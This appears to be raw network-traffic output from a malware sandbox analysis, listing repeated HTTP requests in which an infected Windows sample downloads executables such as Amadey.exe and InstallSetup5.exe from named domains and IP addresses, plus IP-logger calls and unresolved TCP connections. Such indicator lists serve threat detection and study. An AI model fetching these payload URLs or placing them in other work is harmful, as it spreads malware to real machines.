Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.ink
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.ink
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.org
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.org
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: lawyerbuyer.org
Source: global traffic	HTTP traffic detected: GET /RNWPd.exe HTTP/1.1Host: yip.su
Source: global traffic	HTTP traffic detected: GET /raw/E0rY26ni HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /j-upsps/microsoft_network1/downloads/a02.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: lawyerbuyer.org
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: ittrade.org
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.ink
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.org
Source: global traffic	HTTP traffic detected: GET /j-upsps/microsoft_network1/downloads/a02.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 HTTP/1.1Host: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.ink
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.org
Source: global traffic	HTTP traffic detected: GET /fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 HTTP/1.1Host: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: lawyerbuyer.org
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: lawyerbuyer.org
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: ittrade.org
Source: global traffic	HTTP traffic detected: GET /RNWPd.exe HTTP/1.1Host: yip.su
Source: global traffic	HTTP traffic detected: GET /raw/E0rY26ni HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: ittrade.org
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/Silent.exe HTTP/1.1Host: 15.204.49.148Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /files/Silent.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.com
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.com
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /files/Silent.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.com
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.com
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.com
Source: global traffic	HTTP traffic detected: GET /files/Silent.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.com
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 83.219.145.106
Source: unknown	TCP traffic detected without corresponding DNS query: 184.169.154.119
Source: unknown	TCP traffic detected without corresponding DNS query: 192.163.201.131
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.234.177
Source: unknown	TCP traffic detected without corresponding DNS query: 102.215.65.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.12.253.232
Source: unknown	TCP traffic detected without corresponding DNS query: 119.93.129.34
Source: unknown	TCP traffic detected without corresponding DNS query: 23.164.240.84
Source: unknown	TCP traffic detected without corresponding DNS query: 50.122.86.118
Source: unknown	TCP traffic detected without corresponding DNS query: 103.76.188.97
Source: unknown	TCP traffic detected without corresponding DNS query: 82.66.245.82
Source: unknown	TCP traffic detected without corresponding DNS query: 104.16.25.216
Source: unknown	TCP traffic detected without corresponding DNS query: 51.38.231.41
Source: unknown	TCP traffic detected without corresponding DNS query: 189.91.85.133
Source: unknown	TCP traffic detected without corresponding DNS query: 45.32.131.86
Source: unknown	TCP traffic detected without corresponding DNS query: 102.68.128.212
Source: unknown	TCP traffic detected without corresponding DNS query: 50.170.152.189
Source: unknown	TCP traffic detected without corresponding DNS query: 172.67.200.220
Source: unknown	TCP traffic detected without corresponding DNS query: 181.88.73.150
Source: unknown	TCP traffic detected without corresponding DNS query: 138.2.73.157
Source: unknown	TCP traffic detected without corresponding DNS query: 211.234.125.5
Source: unknown	TCP traffic detected without corresponding DNS query: 211.234.125.5
Source: unknown	TCP traffic detected without corresponding DNS query: 211.234.125.5
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.201.242
Source: unknown	TCP traffic detected without corresponding DNS query: 180.191.254.130
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.135
Source: unknown	TCP traffic detected without corresponding DNS query: 50.63.12.101
Source: unknown	TCP traffic detected without corresponding DNS query: 213.136.78.200
Source: unknown	TCP traffic detected without corresponding DNS query: 50.204.219.231
Source: unknown	TCP traffic detected without corresponding DNS query: 31.42.184.146
Source: unknown	TCP traffic detected without corresponding DNS query: 192.163.200.200
Source: unknown	TCP traffic detected without corresponding DNS query: 36.95.102.111
Source: unknown	TCP traffic detected without corresponding DNS query: 211.234.125.5
Source: unknown	TCP traffic detected without corresponding DNS query: 211.234.125.5
Source: unknown	TCP traffic detected without corresponding DNS query: 211.234.125.5
Source: unknown	TCP traffic detected without corresponding DNS query: 167.86.74.155
Source: unknown	TCP traffic detected without corresponding DNS query: 50.172.75.121
Source: unknown	TCP traffic detected without corresponding DNS query: 203.74.125.18
Source: unknown	TCP traffic detected without corresponding DNS query: 154.65.39.8
Source: unknown	TCP traffic detected without corresponding DNS query: 94.231.199.226
Source: unknown	TCP traffic detected without corresponding DNS query: 103.3.77.204
Source: unknown	TCP traffic detected without corresponding DNS query: 185.169.181.26
Source: unknown	TCP traffic detected without corresponding DNS query: 211.234.125.5
Source: unknown	TCP traffic detected without corresponding DNS query: 211.234.125.5
Source: unknown	TCP traffic detected without corresponding DNS query: 211.234.125.5
Source: unknown	TCP traffic detected without corresponding DNS query: 170.238.160.2
Source: unknown	TCP traffic detected without corresponding DNS query: 104.16.224.33

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe

Code function: 15_2_00404C70 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,KiUserExceptionDispatcher,InternetCloseHandle,InternetCloseHandle,

15_2_00404C70

Source: global traffic	HTTP traffic detected: GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /raw/E0rY26ni HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /RNWPd.exe HTTP/1.1Host: yip.suConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ukzbu+vH1LRx6rZ&MD=mpFDpHgu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.inkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.inkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /j-upsps/microsoft_network1/downloads/a02.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1lyxz HTTP/1.1Host: iplogger.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: ittrade.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: ittrade.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: lawyerbuyer.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /RNWPd.exe HTTP/1.1Host: yip.su
Source: global traffic	HTTP traffic detected: GET /raw/E0rY26ni HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: lawyerbuyer.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.ink
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.org
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.org
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.ink
Source: global traffic	HTTP traffic detected: GET /RNWPd.exe HTTP/1.1Host: yip.su
Source: global traffic	HTTP traffic detected: GET /raw/E0rY26ni HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /j-upsps/microsoft_network1/downloads/a02.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: ittrade.org
Source: global traffic	HTTP traffic detected: GET /fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 HTTP/1.1Host: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.ink
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.ink
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.org
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.org
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: lawyerbuyer.org
Source: global traffic	HTTP traffic detected: GET /RNWPd.exe HTTP/1.1Host: yip.su
Source: global traffic	HTTP traffic detected: GET /raw/E0rY26ni HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /j-upsps/microsoft_network1/downloads/a02.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: lawyerbuyer.org
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: ittrade.org
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.ink
Source: global traffic	HTTP traffic detected: GET /1wxS HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: nonesec-fetch-user: ?1upgrade-insecure-requests: 1Host: grabify.org
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.org
Source: global traffic	HTTP traffic detected: GET /j-upsps/microsoft_network1/downloads/a02.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 HTTP/1.1Host: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.ink
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.org
Source: global traffic	HTTP traffic detected: GET /fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 HTTP/1.1Host: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: lawyerbuyer.org
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: lawyerbuyer.org
